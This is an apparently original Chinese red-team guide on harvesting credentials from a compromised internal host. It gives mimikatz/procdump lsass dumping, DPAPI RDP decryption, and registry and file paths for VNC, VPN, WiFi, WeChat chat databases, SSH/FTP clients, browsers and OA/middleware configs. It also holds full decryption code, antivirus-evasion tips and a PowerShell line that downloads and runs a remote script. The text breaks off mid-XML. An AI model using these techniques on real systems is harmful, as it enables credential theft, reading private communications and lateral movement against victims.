内网凭据密码搜集指南 原创投稿作者:深蓝实验室天威战队 前言 在攻防场景下,红队人员拿下一台终端或效劳器后,第一步要做的常常就是信息搜集,为最大化应用权限,扩展战果,密码抓取必不可少,这里针对常见应用软件和系统等密码抓取做了记载和总结,希望能辅佐你作为参考。 RDP凭证 本机RDP密码 抓取本机RDP密码是一个我们常遇到的场景,通常运用mimikatz抓取RDP密码。 当系统为win10或2012R2以上时,默许在内存缓存中遏止保存明文密码,这时抓取的明文密码为空。 能够尝试解密NTLM获取明文密码。 上不了线的状况下,也能够在webshell中来dump内存,保存到本地解密即可。Dump内存的工具有很多,这里我们运用procdump64.exe为例中止dump内存: procdump64.exe -accepteula -ma lsass.exe lsass.dmp 然后本地运用mimikatz中止解密: sekurlsa::minidump lsass.dmp sekurlsa::logonPasswords full 文件lsass.dmp的导出能够有多种方式:procdump,avdump,sqldumper,comsvcs.dll等等,这里不外多赘述,能够免杀转储即可。 RDP登录凭证mimikatz 当我们运用Windows自带的远程桌面登录胜利并选择保存凭据时,会在本地留下rdp登录凭证,假如我们取得了远程桌面的凭证,能够方便我们中止渗透测试中的横向移动。查看本机链接过哪些机器: reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" 获取Credentials: dir /a %userprofile%\AppData\Local\Microsoft\Credentials\* 获取guidMasterKey mimikatz.exe "dpapi::cred /in:%userprofile%\AppData\Local\Microsoft\Credentials\Credentials值" exit mimikatz.exe "privilege::debug" "sekurlsa::dpapi" > cerd.txt 查找guid对应的MasterKey: 解密获取明文rdp凭证: mimikatz.exe "dpapi::cred /in:%userprofile%\AppData\Local\Microsoft\Credentials\ Credentials值/masterkey:masterkey值" exit netpass 也能够应用netpass直接抓取密码,运用时留意对应系统版本,下载地址:https://www.nirsoft.net/utils/network_password_recovery.html 同时netpass也提供了命令行版本,下载页面:https://www.nirsoft.net/password_recovery_tools.html VNC密码 UltraVNC 默许配置途径: c:\Program Files\uvnc bvba\UltraVNC\ultravnc.ini image.png 解密工具:https://github.com/jeroennijhof/vncpwd image.png TightVNC TightVNC的加密后密码存在注册表里内,留意查询需求管理员权限。 reg query HKEY_LOCAL_MACHINE\SOFTWARE\TightVNC\Server /v ControlPassword reg query HKEY_LOCAL_MACHINE\SOFTWARE\TightVNC\Server /v password reg query HKEY_LOCAL_MACHINE\SOFTWARE\TightVNC\Server /v RfbPort 解密工具:https://github.com/jeroennijhof/vncpwd image.png image.png RealVNC RealVNC别号WinVNC,RealVNC的加密后密码存在注册表里内,留意查询需求管理员权限。 reg query HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\vncserver /v password 解密工具:https://github.com/jeroennijhof/vncpwd image.png TigerVNC TigerVNC的加密后密码存在注册表里内,查询无需管理员权限。 reg query HKEY_CURRENT_USER\SOFTWARE\TigerVNC\WinVNC4 /v "password" 解密工具:https://github.com/jeroennijhof/vncpwd image.png VPN密码 Windows自带VPN衔接,假如在配置VPN时选择记住此密码则会保存衔接信息。 image.png 默许保存衔接信息目录 %AppData%\Roaming\Microsoft\Network\Connections\Pbk image.png 我们能够运用Dialupass来获取VPN密码信息,留意需求管理员权限,Dialupass运用阐明和下载地址:https://www.nirsoft.net/utils/dialupass.html image.png 同时Dialupass也提供了命令行版本,下载页面:https://www.nirsoft.net/password_recovery_tools.html image.png 免杀:截至目前删除程序版本信息即可免杀360。 WiFi密码 WiFi信息查询命令,在cmd下执行,无需管理员权限。 for/f "skip=9 tokens=1,2 delims=:"%i in( 'netsh wlan show profiles') do@ echo%j | findstr -i -v echo| netsh wlan show profiles %j key=clear image.png 星号密码 在攻防场景下很多时分在主机或效劳器上遇到一些软件配置运用了星号密码,我们能够直接尝试运用星号密码查看来获取明文密码,省去寻觅和解密配置文件的时间。常用的星号密码查看器:
image.png 通讯软件 个人微信 很多时分我们钓鱼控下的主机都装置了个人微信,很多时分会在微信上沟通密码等敏感信息,在攻防场景下,由于是个人主机不方便直接远程操作,所以我们能够下载其离线聊天数据库离线解密。 获取解密密钥 我们能够运用工具SharpWxDump [3] 来获取解密密钥,运用该工具需求留意两点,一是编译工具选择x86架构,而是对方微信必须是在登录状态。 image.png image.png 下载聊天记载 微信聊天文件普通在: %USERPROFILE%\Documents\WeChat Files\wxid_xxxxxxxxxxxxxx\Msg\MSG0.db %USERPROFILE%\Documents\WeChat Files\wxid_xxxxxxxxxxxxxx\Msg\MSG1.db %USERPROFILE%\Documents\WeChat Files\wxid_xxxxxxxxxxxxxx\Msg\MSG2.db 留意:假如MSG0.db的大小超出240MB会自动生成MSG1.db,以此类推。打包聊天文件: cd/d C:\Users\Public # 由于微信运转会占用此文件,需求中止复制。 copy "C:\Users\test\Documents\WeChat Files\wxid_ll8ukjje2na922\Msg\Multi\MSG0.db"MSG0.db # 运用Windows系统自带命令中止紧缩,方便快速下载。 makecab MSG0.db MSG0.cab # 下载到本地后解压 expandMSG0.cab MSG0.db 解密聊天文件 下载ChatViewTool [4] 后,将数据库密钥保存为文本文件DBPass.Bin,将解压后的聊天记载数据库MSG0.db放在同目录。 image.png 随后翻开ChatViewTool点击数据库解密并选择密钥文件DBPass.Bin和聊天记载数据库MSG0.db所在的目录: image.png 待解密完成后,会生成MSG0.db_dec.db,将MSG0.db_dec.db放到一个新目录,点击查看数据库选择此目录即可完成会话展示,双击联络人列表可展示对应的聊天记载。 image.png个人QQ 个人QQ由于有腾讯TP维护,招致不能动态地从个人QQ的内存获取其聊天数据库解密密钥,暂时无法解密,感兴味能够阅读一文。 运维开发 SVN SVN类的版本控制软件如TortoiseSVN默许会将缓存的凭据保存到配置文件中,在Windows平台上默许会调用Windows数据维护API中止加密。 image.png SVN类客户端软件默许配置文件目录: %APPDATA%\Subversion\auth\svn.simple\ %APPDATA%\Roaming\Subversion\auth\svn.simple\ image.png 我们可工具以运用TSvnPwd来解密。工具下载地址:http://www.leapbeyond.com/ric/TSvnPD/ image.png FileZilla 简介:FileZilla客户端是一个快速牢靠的、跨平台的FTP,FTPS和SFTP客户端。 找到FileZilla的默许配置文件目录: %userprofile%\AppData\Roaming\FileZilla\recentservers.xml %userprofile%\AppData\Roaming\FileZilla\sitemanaer.xml 密码base64解码即可得到明文: 也能够应用SharpDecryptPwd直接获取密码 工具下载地址:https://github.com/uknowsec/SharpDecryptPwd SharpDecryptPwd.exe -FileZilla Winscp 简介:WinSCP 是一个 Windows 环境下运用的 SSH 的开源图形化 SFTP 客户端。同时支持 SCP 协议。它的主要功用是在本地与远程计算机间保险地复制文件,并且能够直接编辑文件。 经过注册表取得密文: reg query "HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Sessions" reg query "HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Sessions\root@192.168.192.128" 经过winscppwd.exe即可解密: winscppwd.exe root 192.168.192.128 密文 有时分管理员会导出配置为WinSCP.ini文件。 这时分直接查找该文件,然后解密即可。winscppwd下载地址:https://www.softpedia.com/get/Security/Password-Managers-Generators/winscppwd.shtml也能够运用SharpDecryptPwd直接获取密码 Xshell 简介:Xshell是一款功用强大的终端模仿器,支持SSH2,SSH3,SFTP,TELNET,RLOGIN和SERIAL。Xshell密码默许保存位置: XShell 5:%userprofile%\Documents\NetSarang\Xshell\Sessions XShell 6:%userprofile%\Documents\NetSarang Computer\6\Xshell\Sessions XShell 7:%userprofile%\Documents\NetSarang Computer\7\Xshell\Sessions SharpXDecrypt支持解密XShell一切版本,包含XShell 7: image.png 下载地址:https://github.com/JDArmy/SharpXDecrypt 注:XShell 7默许session里面的密码为空,这种能够运用星号密码查看器直接查看密码 FinalShell 简介:FinalShell是一体化的的效劳器,网络管理软件,不只是ssh客户端,还是功用强大的开发,运维工具。默许配置文件地址: %userprofile%\AppData\Local\finalshell\conn\xxx.json 运用FinalShell-Decoder选择目录即可解密: 下载地址:https://github.com/passer-W/FinalShell-Decoder SecureCRT SecureCRT默许配置目录: dir%APPDATA%\VanDyke\Config\Sessions\ SecureCRT 7.3.3之前的版本运用password加密算法,之后的版本运用password v2算法: S: "Password"=u17cf50e394ecc2a06fa8919e1bd67cf0f37da34c78e7eb87a3a9a787a9785e802dd0eae4e8039c3ce234d34bfe28bbdc S: "Password V2"=02:7b9f594a1f39bb36bbaa0d9688ee38b3d233c67b338e20e2113f2ba4d328b6fc8c804e3c02324b1eaad57a5b96ac1fc5cc1ae0ee2930e6af2e5e644a28ebe3fc 7.x 版本解密 [ 不带第一位 "u" ] SecureCRTCipher.py dec 17cf50e394ecc2a06fa8919e1bd67cf0f37da34c78e7eb87a3a9a787a9785e802dd0eae4e8039c3ce234d34bfe28bbdc 8.x 版本解密 [ 不带前面三位 "02:" ] SecureCRTCipher.py dec -v2 7b9f594a1f39bb36bbaa0d9688ee38b3d233c67b338e20e2113f2ba4d328b6fc8c804e3c02324b1eaad57a5b96ac1fc5cc1ae0ee2930e6af2e5e644a28ebe3fc image.png SecureCRT下载地址:https://github.com/HyperSine/how-does-SecureCRT-encrypt-password Mobaxterm MobaXterm衔接信息默许全部加密存于注册表中,解密两种状况。 无管理密码的解密 首先是先切到指定用户权限下,从注册表中读取衔接信息和账密 hash,此处测试的 MobaXterm 版本为 12.04 ,该版本不会强迫你为衔接设置管理密码。 # reg query HKEY_CURRENT_USER\\Software\\Mobatek\\MobaXterm # reg query HKEY_CURRENT_USER\\Software\\Mobatek\\MobaXterm\\P 之后再把密码 hash 粘回本地解密,要带上目的机器名 和 MobaXterm 的装置用户。 python3 MobaXtermCipher.py dec -sysh Motoo-IISWeb -sysu administrator -h 192.168.159.6-u root +NYMdvHihPWokIa5KdDcjfIjb7pV1Qu*** 带管理密码的解密 此处测试的 MobaXterm 为最新版 20.5,该版本每次衔接都会强迫你设置管理密码。 reg query HKEY_CURRENT_USER\Software\Mobatek\MobaXterm\P python3 MobaXtermCipher.py dec -p admin!@ #45 ehx0N63ueLNPkw==Navicat 简介:Navicat Premium 是一套多衔接数据库开发工具,可一次快速方便地访问多种数据库。 离线解密 首先查询Navicat注册表里的密码: reg query HKEY_CURRENT_USER\Software\PremiumSoft\ /s /v host reg query HKEY_CURRENT_USER\Software\PremiumSoft\ /s /v username reg query HKEY_CURRENT_USER\Software\PremiumSoft\ /s /v pwd image.png 然后能够运用以下代码在线解密,留意Navicat版本:在线运转地址:https://www.nhooo.com/tool/java8/ image.png packageorg.example; importjavax.crypto.Cipher; importjavax.crypto.spec.IvParameterSpec; importjavax.crypto.spec.SecretKeySpec; importjavax.xml.bind.DatatypeConverter; importjava.nio.charset.StandardCharsets; importjava.security.MessageDigest; importjava.util.Arrays; publicclassMain{ publicstaticvoidmain(String []args) { //navicat11版本解密 Navicat11Cipherde=newNavicat11Cipher; System.out.println(de.decryptString( "15057D7BA390")); //navicat12以上版本解密 Navicat12Cipherde12=newNavicat12Cipher; System.out.println(de12.decryptString( "503AA930968F877F04770B47DD731DC0")); } publicstaticclassNavicat11Cipher{ publicstaticfinalStringDefaultUserKey="3DC5CA39"; privatebyte[] _IV; privateSecretKeySpec _Key; privateCipher _Encryptor; privateCipher _Decryptor; privatevoidinitKey(String UserKey) { try{ MessageDigestsha1=MessageDigest.getInstance( "SHA1"); byte[] userkey_data = UserKey.getBytes(StandardCharsets.UTF_8); sha1.update(userkey_data, 0, userkey_data.length); _Key = newSecretKeySpec(sha1.digest, "Blowfish"); } catch(Exception e) { e.printStackTrace; } } privatevoidinitChiperEncrypt{ try{ // Must use NoPadding _Encryptor = Cipher.getInstance( "Blowfish/ECB/NoPadding"); _Encryptor.init(Cipher.ENCRYPT_MODE, _Key); } catch(Exception e) { e.printStackTrace; } } privatevoidinitChiperDecrypt{ try{ // Must use NoPadding _Decryptor = Cipher.getInstance( "Blowfish/ECB/NoPadding"); _Decryptor.init(Cipher.DECRYPT_MODE, _Key); } catch(Exception e) { e.printStackTrace; } } privatevoidinitIV{ try{ byte[] initVec = DatatypeConverter.parseHexBinary( "FFFFFFFFFFFFFFFF"); _IV = _Encryptor.doFinal(initVec); } catch(Exception e) { e.printStackTrace; } } privatevoidxorBytes( byte[] a, byte[] b) { for( inti=0; i < a.length; i++) { intaVal=a[i] & 0xff; // convert byte to integer intbVal=b[i] & 0xff; a[i] = ( byte) (aVal ^ bVal); // xor aVal and bVal and typecast to byte } } privatevoidxorBytes( byte[] a, byte[] b, intl) { for( inti=0; i < l; i++) { intaVal=a[i] & 0xff; // convert byte to integer intbVal=b[i] & 0xff; a[i] = ( byte) (aVal ^ bVal); // xor aVal and bVal and typecast to byte } } { initKey(DefaultUserKey); initChiperEncrypt; initChiperDecrypt; initIV; } privatebyte[] Encrypt( byte[] inData) { try{ byte[] CV = Arrays.copyOf(_IV, _IV.length); byte[] ret = newbyte[inData.length]; intblocks_len=inData.length / 8; intleft_len=inData.length % 8; for( inti=0; i < blocks_len; i++) { byte[] temp = Arrays.copyOfRange(inData, i * 8, (i * 8) + 8); xorBytes(temp, CV); temp = _Encryptor.doFinal(temp); xorBytes(CV, temp); System.arraycopy(temp, 0, ret, i * 8, 8); } if(left_len != 0) { CV = _Encryptor.doFinal(CV); byte[] temp = Arrays.copyOfRange(inData, blocks_len * 8, (blocks_len * 8) + left_len); xorBytes(temp, CV, left_len); System.arraycopy(temp, 0, ret, blocks_len * 8, temp.length); } returnret; } catch(Exception e) { e.printStackTrace; returnnull; } } publicString encryptString(String inputString) { try{ byte[] inData = inputString.getBytes(StandardCharsets.UTF_8); byte[] outData = Encrypt(inData); returnDatatypeConverter.printHexBinary(outData); } catch(Exception e) { e.printStackTrace; return""; } } privatebyte[] Decrypt( byte[] inData) { try{ byte[] CV = Arrays.copyOf(_IV, _IV.length); byte[] ret = newbyte[inData.length]; intblocks_len=inData.length / 8; intleft_len=inData.length % 8; for( inti=0; i < blocks_len; i++) { byte[] temp = Arrays.copyOfRange(inData, i * 8, (i * 8) + 8); temp = _Decryptor.doFinal(temp); xorBytes(temp, CV); System.arraycopy(temp, 0, ret, i * 8, 8); for( intj=0; j < CV.length; j++) { CV[j] = ( byte) (CV[j] ^ inData[i * 8+ j]); } } if(left_len != 0) { CV = _Encryptor.doFinal(CV); byte[] temp = Arrays.copyOfRange(inData, blocks_len * 8, (blocks_len * 8) + left_len); xorBytes(temp, CV, left_len); for( intj=0; j < temp.length; j++) { ret[blocks_len * 8+ j] = temp[j]; } } returnret; } catch(Exception e) { e.printStackTrace; returnnull; } } publicString decryptString(String hexString) { try{ byte[] inData = DatatypeConverter.parseHexBinary(hexString); byte[] outData = Decrypt(inData); returnnewString(outData, StandardCharsets.UTF_8); } catch(Exception e) { e.printStackTrace; return""; } } } publicstaticclassNavicat12Cipher{ privateSecretKeySpec _AesKey; privateIvParameterSpec _AesIV; { _AesKey = newSecretKeySpec( "libcckeylibcckey".getBytes(StandardCharsets.UTF_8), "AES"); _AesIV = newIvParameterSpec( "libcciv libcciv ".getBytes(StandardCharsets.UTF_8)); } publicString encryptString(String plaintext) { try{ Ciphercipher=Cipher.getInstance( "AES/CBC/PKCS5Padding"); cipher.init(Cipher.ENCRYPT_MODE, _AesKey, _AesIV); byte[] ret = cipher.doFinal(plaintext.getBytes(StandardCharsets.UTF_8)); returnDatatypeConverter.printHexBinary(ret); } catch(Exception e) { e.printStackTrace; return""; } } publicString decryptString(String ciphertext) { try{ Ciphercipher=Cipher.getInstance( "AES/CBC/PKCS5Padding"); cipher.init(Cipher.DECRYPT_MODE, _AesKey, _AesIV); byte[] ret = cipher.doFinal(DatatypeConverter.parseHexBinary(ciphertext)); returnnewString(ret, StandardCharsets.UTF_8); } catch(Exception e) { e.printStackTrace; return""; } } } } SharpDecryptPwd 也能够直接1运用SharpDecryptPwd抓取密码: image.png 远程控制 TeamViewer TeamViewer是远程访问、远程控制及远程支持处置计划,能够远程访问位于各地的计算机或移动设备。直接获取本机TeamViewer的ID以及密码: SharpDecryptPwd.exe -TeamViewer SunLogin 旧版本 这里旧版本是指v11.0.0.38222以及以前的版本 找到配置文件config.ini 装置版:C:\Program Files\Oray\SunLogin\SunloginClient\config.ini 便携版(绿色版):C:\ProgramData\Oray\SunloginClient\config.ini 解密得到本机考证码为4M9aON 较新版本 reg query HKEY_USERS\.DEFAULT\Software\Oray\SunLogin\SunloginClient\SunloginInfo reg query HKEY_USERS\.DEFAULT\Software\Oray\SunLogin\SunloginClient\SunloginGreenInfo 最新版本 首先找到向日葵用户进程,然后运用procdump等工具转储进程内存。 tasklist /v | findstr /i sunlogin procdump64.exe -accepteula -ma 进程号 image-20221109181701558.png image-20221109182129937.png image-20221109225035543.png ToDesk 本机衔接 ToDesk的配置途径在装置目录下的config.ini。 image.png clientId为设备ID,AuthMode为认证方式,0为仅运用暂时密码,1为仅运用保险密码,2为都能够运用,tempAuthPassEx为加密后的暂时密码,authPassEx为加密后的保险密码,我们只需本地装置一个最新版本ToDesk,退出ToDesk,然后复制配置文件config.ini中的tempAuthPassEx或authPassEx字段到本地中止交流,最后重新运转ToDesk即可查看密码。 image.png image.png 远程衔接 ToDesk默许会保存衔接过的信息,记载的文件也是ToDesk装置目录下的userInfo.json文件,其中就有远程衔接的设备ID,主机名,衔接密码等密码信息。 image.png 我们只需复制userInfo.json文件放在ToDesk装置目录下,重新运转ToDesk即可选择中止远程衔接了,不需求输入密码。 image.png 阅读器 常见阅读器 WebBrowserPassView WebBrowserPassView运用阐明和下载地址:https://www.nirsoft.net/utils/web_browser_password.html WebBrowserPassView支持解密以下阅读器:
WebBrowserPassView也提供了命令行版本,下载页面:https://www.nirsoft.net/password_recovery_tools.html image.png WebBrowserPassView也支持离线解密: image.png 免杀:截至目前删除程序版本信息即可免杀360。 HackBrowserData HackBrowserData 是一个阅读器数据(密码|历史记载|Cookie|书签|信誉卡|下载记载|localStorage|阅读器插件)的导收工具,支持全平台主流阅读器。在Windows平台支持以下阅读器的密码,Cookie,书签和历史记载信息:
运用阐明和下载地址:https://github.com/moonD4rk/HackBrowserData IE阅读器 credgrap_ie_edge 工具地址:https://github.com/HanseSecure/credgrap_ie_edge 内存执行powershell解密即可 powershell -nop-execbypass -c"IEX (New-Object Net.WebClient).DownloadString('http://xxx/credgrap_ie_edge.ps1')" 落地解密 IE Passwords Viewer 能够直接运用iepv直接获取账密,运用阐明和下载地址:https://www.nirsoft.net/utils/internet_explorer_password.html image.png 同时iepv也提供了命令行版本,下载页面:https://www.nirsoft.net/password_recovery_tools.html image.png 免杀:截至目前删除程序版本信息即可免杀360。 360保险阅读器离线解密 首先切到指定用户权限下,获取机器id, reg query "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY"/v "MachineGuid"image.png 然后找到账密数据库文件assis2.db途径,将assis2.db下载到本地中止解密。 reg query "HKCR\360SeSES\DefaultIcon" dir"C:\Users\aky\AppData\Roaming\360se6\User Data\Default\apps\LoginAssis" 执行解密: 360SafeBrowserDecrypt.exe a9f521cd-2bd6-47fe-87db-69743456aa84 assis2.db image.png 上传解密 在免杀的状况下也能够直接上传360SafeBrowserDecrypt.exe中止解密。 image.png 其他阅读器 假如遇到其他的小众阅读器,能够在本地装置一个相同版本的阅读器,然后退出阅读器,将目的上的阅读器用户数据目录打包到本地,在相同目录中止交流,重新翻开阅读器,去阅读器设置里查看密码。以下为一些阅读器的用户数据目录: %AppData%/Local/Google/Chrome/User Data/Default/ %AppData%/Local/Google/Chrome Beta/User Data/Default/ %AppData%/Local/Chromium/User Data/Default/ %AppData%/Local/Microsoft/Edge/User Data/Default/ %AppData%/Local/BraveSoftware/Brave-Browser/User Data/Default/ %AppData%/Local/360chrome/Chrome/User Data/Default/ %AppData%/Local/Tencent/QQBrowser/User Data/Default/ %AppData%/Roaming/Opera Software/Opera Stable/ %AppData%/Roaming/Opera Software/Opera GX Stable/ %AppData%/Local/Vivaldi/User Data/Dfault/ %AppData%/Local/CocCoc/Browser/User Data/Default/ %AppData%/Local/Yandex/YandexBrowser/User Data/Default/ %AppData%/Roaming/Mozilla/Firefox/Profiles/ %AppData%/Roaming/SogouExplorer/Webkit/ WEB系统 通用措施 思绪:绝大部分的配置信息,在内存中,都是String类型的field字段,能够运用OQL言语直接从内存中提取password字段的field值。 工具:https://github.com/corener/JavaPassDump 运用步骤:1、运用jcmd获取JVM堆内存 jmap,jcmd 都是JDK自带工具,指定JVM pid 直接dump jmap -dump:live,format=b,file=/tmp/dumpHeap.hprof 5760 2.1.png 2、运用OQLQuery提取密码 OQL语句: var filter = {}; map(heap.classes, function (cls) { return map(cls.fields, function (field) { if( field.name.toString.contains( "pass") || field.name.toString.contains( "username") ||field.name.toString.contains( "PASS")){ return map(heap.objects(cls), function (obs) { var tag = cls.name+ "|"+field.name ; var res = "class : "+cls.name+ "\n Field [ "+field.name.toString+ " : "; if( obs[field.name.toString] != null){ res = res + obs[field.name.toString].toString+ " ]\n"; }else{ res = res + "null ]\n"; } if (filter[tag] == null) { filter[tag] = res; print(res); } return null; }); } return null; }); }); 运用base64编码oql语句传入OQLQuery中止提取: java -jar ./OQLQuery.jar /tmp/dumpHeap.hprof dmFyIGZpbHRlciA9IHt9OwptYXAoaGVhcC5jbGFzc2VzKCksIGZ1bmN0aW9uIChjbHMpIHsKICAgcmV0dXJuIG1hcChjbHMuZmllbGRzLCBmdW5jdGlvbiAoZmllbGQpIHsgCiAgICAgIGlmKCBmaWVsZC5uYW1lLnRvU3RyaW5nKCkuY29udGFpbnMoInBhc3MiKSB8fCBmaWVsZC5uYW1lLnRvU3RyaW5nKCkuY29udGFpbnMoInVzZXJuYW1lIikgfHxmaWVsZC5uYW1lLnRvU3RyaW5nKCkuY29udGFpbnMoIlBBU1MiKSl7CiAgICAgICAgcmV0dXJuIG1hcChoZWFwLm9iamVjdHMoY2xzKSwgZnVuY3Rpb24gKG9icykgewogICAgICAgICAgdmFyIHRhZyA9IGNscy5uYW1lKyJ8IitmaWVsZC5uYW1lIDsKICAgICAgICAgIHZhciByZXMgPSAgImNsYXNzIDogIitjbHMubmFtZSsiXG4gRmllbGQgWyAiK2ZpZWxkLm5hbWUudG9TdHJpbmcoKSsiIDogIjsKICAgICAgICAgIGlmKCBvYnNbZmllbGQubmFtZS50b1N0cmluZygpXSAhPSBudWxsICl7CiAgICAgICAgICAgIHJlcyA9IHJlcyArIG9ic1tmaWVsZC5uYW1lLnRvU3RyaW5nKCldLnRvU3RyaW5nKCkrIiBdXG4iOwogICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgIHJlcyA9IHJlcyArICJudWxsIF1cbiI7CiAgICAgICAgICB9CiAgICAgICAgICBpZiAoZmlsdGVyW3RhZ10gPT0gbnVsbCkgewogICAgICAgICAgICBmaWx0ZXJbdGFnXSA9IHJlczsKICAgICAgICAgICAgcHJpbnQocmVzKTsKICAgICAgICAgIH0KICAgICAgICAgIHJldHVybiBudWxsOwogICAgICAgIH0pOwogICAgICB9CiAgICAgIHJldHVybiBudWxsOwogIH0pOwp9KTs= 1.1.png 42f3e0d7257d7c3d6bec1dc42ab78d7.png 从图中即可看到数据库衔接密码。 致远OA 数据库配置文件默许位置: /Seeyon/A8[致远版本]/base/conf/datasourceCtp.properties 运用工具解密:https://github.com/jas502n/OA-Seeyou 泛微系列e-cology 数据库配置文件默许位置: D:\WEAVER\ecology\WEB-INF\prop\weaver.properties 用户名表:HrmResource 管理员表:HrmResourceManager、TB_USER image.png e-bridge 数据库配置文件默许位置: D:\ebridge\tomcat\webapps\ROOT\WEB-INF\init.properties e-mobile 数据库配置文件默许位置: D:\WEAVER\emobile\webapps\ROOT\WEB-INF\classes\application.properties e-office 数据库配置文件默许位置: D:\eoffice\webroot\inc\oa_config.php D:\eoffice\bin\mysql_config.ini 蓝凌OA 解密后台管理密码 后台管理地址普通是: http: //x.x.x.x/admin.do 假如后台管理地址遇到不是admin.do,则能够尝试从以下文件中搜索SysConfigAdminAction即可找到后台管理地址: 老版本对应的为:\WEB-INF\KmssConfig\sys\config\struts.xml 新版本对应的为:\WEB-INF\KmssConfig\sys\config\spring-safe.xml 或者:\WEB-INF\KmssConfig\sys\config\spring-mvc.xml 加密后的后台管理密码普通保存在: /WEB-INF/KmssConfig/admin.properties 其运用的加密算法为DES-ECB,密钥为kmssAdminKey,解密工具:https://github.com/zhutougg/LandrayDES image.png 配置文件解密 配置文件默许途径: ekp/WEB-INF/KmssConfig/kmssconfig.properties 其运用的加密算法为DES-ECB,密钥为kmssPropertiesKey。 image.png 解密代码: packageorg.example; importcn.hutool.core.util.CharsetUtil; importcn.hutool.crypto.SecureUtil; importcn.hutool.crypto.symmetric.DES; importjava.nio.file.Files; importjava.nio.file.Path; importjava.nio.file.Paths; publicclassMain{ publicstaticString decrypt( byte[] bytes, String key) { DESdes=SecureUtil.des(key.getBytes); returndes.decryptStr(bytes, CharsetUtil.charset( "gb2312")); } publicstaticvoidmain(String[] args) throwsException { Pathpath=Paths.get( "D:\\Users\\Shmily\\Desktop\\kmssconfig.properties"); byte[] bytes = Files.readAllBytes(path); Stringresult=decrypt(bytes, "kmssPropertiesKey"); System.out.println(result); } } 数据库用户密码解密 用户表:sys_org_person 前台用户在/login.jsp登陆时运用的密码运用了md5和DES两种加密方式存在数据库中,其运用DES算法为DES-CBE,密钥为kmssPropertiesKey。 f5a2cb7dffa11bec2fe1615b2ad6676.png 解密工具:https://github.com/zhutougg/LandrayDES image.png 万户OA 数据库配置文件默许位置: D:/jboss/jboss-as/server/oa/deploy/defaultroot.war/WEB-INF/config/whconfig.xml D:/jboss/jboss-as/server/oa/deploy/defaultroot.war/WEB-INF/classes/fc.properties /WEB-INF/config/ezoffice/config.xml /jboss-as/server/oa/deploy /*-ds.xml //星号为细致数据库好比mssql、oracle 通达OA 数据库配置文件默许位置: C:\MYOA\mysql5\my.ini C:\MYOA\webroot\inc\oa_config.php C:\MYOA\bin\Service.ini 用友NC 数据库配置文件默许位置: /nchome/ierp/bin/prop.xml 用友数据库解密,工具下载地址:https://github.com/jas502n/ncDecode 金和OA 数据库默许配置文件: D:\apache-tomcat-6.0.53\webapps\jc6\WEB-INF\classes\db.properties 心通达 数据库默许配置文件: /webapps/ROOT/WEB-INF/classes/jdbc-sql.propertie image.png 帆软 数据库默许配置文件: \WEB-INF\resources\privilege.xml 解密代码: cipher = input( "输入密文:\n") # 密文 PASSWORD_MASK_ARRAY = [ 19, 78, 10, 15, 100, 213, 43, 23] password = "" cipher = cipher[ 3:] fori inrange( int( len(cipher) / 4)): c1 = int( "0x"+ cipher[i * 4:(i + 1) * 4], 16) c2 = c1 ^ PASSWORD_MASK_ARRAY[i % 8] password = password + chr(c2) print( "明文密码:\n"+password) image.png Confluence 数据库默许配置文件: / var/atlassian/confluenc/confluence.cfg.xml vCenter 数据库默许配置文件: Windows默许途径: C:\ProgramData\VMware\vCenterServer\cfg\vmware-vps\vcdb.properties Linux途径: /etc/vmware-vpx/vcdb.properties /etc/vmware/service-state/vpxd/vcdb.properties 金蝶金蝶EAS 数据库默许配置文件: ...\runtime\apusic\domains\server1\config\datasources.xml D:/Kingdee/eas/server/properties/datacenters.xml 华三IMC 数据库默许配置文件: common\conf\server-addr.xml 中心算法:经过将去掉-符号的值加上数组的下标值乘上16取余256,接着把获取到的值b与255中止比较,大于255的中止b-256的操作后赋值给b,紧接着中止ASCII转换。最后判别结尾能否为” ~~”,是的话就去掉,最后去掉最后两位。解密代码: str= "-115-97-76-67-49-28-30-14" ifstr.startswith( '-'): strs = [] bytess = [] strs = str[ 1: 24].split( '-') i = 0 fori inrange( len(strs)- 2): try: strsint = int(strs[i]) b = strsint + i * 16% 256 ifb > 255: b = b - 256 str1 = chr(b) ifnotstr1.endswith( "~~"): bytess.append( chr(b)) except: pass i = i + 1 print( "密码:"+ ''.join(bytess)) else: print( "密文格式错误!") print( "格式应为:-112-81-83-67-55-20-30-1") image.png 联软 IT 保险运维 数据库默许配置文件: /home/leagsoft/LeagView/Ini/odbc.ini /home/leagsoft/LeagView/Ini/Server.ini /etc/postgresql/ 9.1/auditdb/postgresql.conf 中间件T omcat数据库 数据库配置文件: WEB-INF/classes/application.properties 实战中遇见的tomcat常见数据库配置文件名: db.properties jdbc.properties dbpool.properties config.properties sso-config.properties minaconfig.properties missCallAlertExclude.properties url_img.properties webapp.properties Proxool.properties application.properties 控制台 tomcat控制台账号密码: /conf/tomcat-users.xml A ctiveMQ 配置了认证的状况: 登录密码寄存途径: /apache-activemq/conf/jetty-realm.properties W eblogic WebLogic 11gR1后采用了AES的加密方式,之前的版本采用的DES加密方式。每个Weblogic app的加密key都是随机生成的,所以不同效劳器以至同效劳器不同应用上的weblogic都是用不同的密码加密的。 Weblogic控制台密码解密 查找boot.properties文件: weblogic/user_projects/domains/base_domain/servers/AdminServer/security/boot.properties 查找SerializedSystemIni.dat文件,其中包含了解密key: weblogic/user_projects/domains/base_domain/security/SerializedSystemIni.dat 解密工具:https://github.com/Ch1ngg/WebLogicPasswordDecryptorUi Nodemanager密码解密 查找config.xml文件 /weblogic/user_projects/domains/base_domain/config/config.xml 数据库密码解密 查找jdbc相关文件 /weblogic/Oracle/Middleware/user_projects/domains/base_domain/config/jdbc/xxx-jdbc.xml 胜利解密 JBOSS JBoss运用blowfish加密算法,解密key为硬编码的jaas is the way。数据库配置默许目录: %JBOSS_HOME%\server\%appname%\deploy\oracle-ds.xml %JBOSS_HOME%\server\%appname%\deploy\mysql-ds.xml 在没有加密的状况下,密码是明文: <jndi-name>OracleDS</jndi-name> //jndi名字 <use-java-context>false</use-java-context> <connection-url>jdbc:oracle:thin:@localhost:1521:orcl</connection-url> //URL地址 <driver-class>oracle.jdbc.driver.OracleDriver</driver-class> //驱动 <user-name>root</user-name> //用户名 <password>123456</password> //密码 在配置完密码加密后,加密后的密码存在jboss目录的conf/login-config.xml文件里: <application-policy name="EncryptDBPassword"> <authentication> <login-module 